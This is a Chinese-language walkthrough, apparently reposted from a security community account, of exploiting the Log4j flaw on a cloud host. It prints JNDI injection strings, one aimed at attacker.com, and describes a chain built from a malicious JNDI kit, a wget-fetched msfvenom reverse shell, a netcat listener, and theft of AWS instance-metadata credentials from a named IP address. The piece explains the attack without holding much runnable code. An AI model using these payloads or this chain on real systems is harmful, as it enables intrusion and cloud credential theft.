看我如何在云环境中利用Log4j漏洞

${jndi:ldap:/attacker.com}

在互联网上搜索臭名昭著的 Log4j 安全漏洞时，攻击者发现了 34.211.111.254，它似乎容易受到 Log4j 的攻击。我们可以从一个开源的 Log4j 检测工具开始，比如 https://github.com/cisagov/log4j-scanner。

攻击者使用 Log4j 扫描器扫描易受攻击的主机，并为其分配一个自定义 dns 回调主机——738iobradsxc7dxuyhlrindogfm7aw.burpcollaborator.net，如以下屏幕截图所示。

DNS 回调确实在我们的 Burp 协作者主机上收到，如屏幕截图的下半部分所示，这强烈表明该主机存在漏洞。

在我们确认主机可能容易受到 Log4j 漏洞的攻击后，接下来的步骤就是准备我们的环境。

为此，我们需要设置以下内容：

• 恶意 JNDI 工具包 – JNDI Exploit Kit Injection 工具包是一种用于创建功能性 JNDI 链接并通过启动 RMI、LDAP 和 HTTP 服务器提供后台服务的工具。

  
  

• 端口 1337 上的本地 python 服务器

  
  

• 端口 8080 上的 Netcat 监听器

  
  

当我们运行恶意 JNDI 工具包时，我们将能够同时监听两个端口：LDAP 和 HTTP。JNDI 工具包将收到发送到易受攻击主机的精心制作请求。

我们将从可以发送到易受攻击主机的各种payload中选择以下 JNDI Payload约定：

{jndi:ldap://34.211.111.254:8080/Basic/Command/Base64/[BASE_64_PAYLOAD_HERE]}

我们将使用msfvenom生成我们的反向 shell payload elf文件：

基本上我们的 base64 payload 将做的是使用wget下载反向 shell payload 到/tmp/文件夹，通过使用chmod*设置一个“x”标志使其可执行，最后执行它。如果一切按预期进行，我们应该得到我们的反向 shell。

在发送我们精心制作的payload之前，我们将确保我们的本地 python 服务器正在侦听端口 1337。

最后，在指定的反向 shell 端口 (8080) 上设置我们的 netcat：

以下屏幕截图显示了我们的侦听器和我们通过 curl 准备的 GET 请求：

我们将发送我们精心设计的请求：

我们通过利用受害主机上易受攻击的 Log4j 版本来检索 IMDSv2 信息。通过将AccessKeyId、SecretAccessKey 和临时Session Token添加到攻击者的凭证文件中，我们能够查询 AWS 账户并检索有关该账户和 EC2 实例的信息。

//  火线Zone //

微信号 : huoxian_zone

点击阅读原文，加入社区，共建一个有技术氛围的优质社区！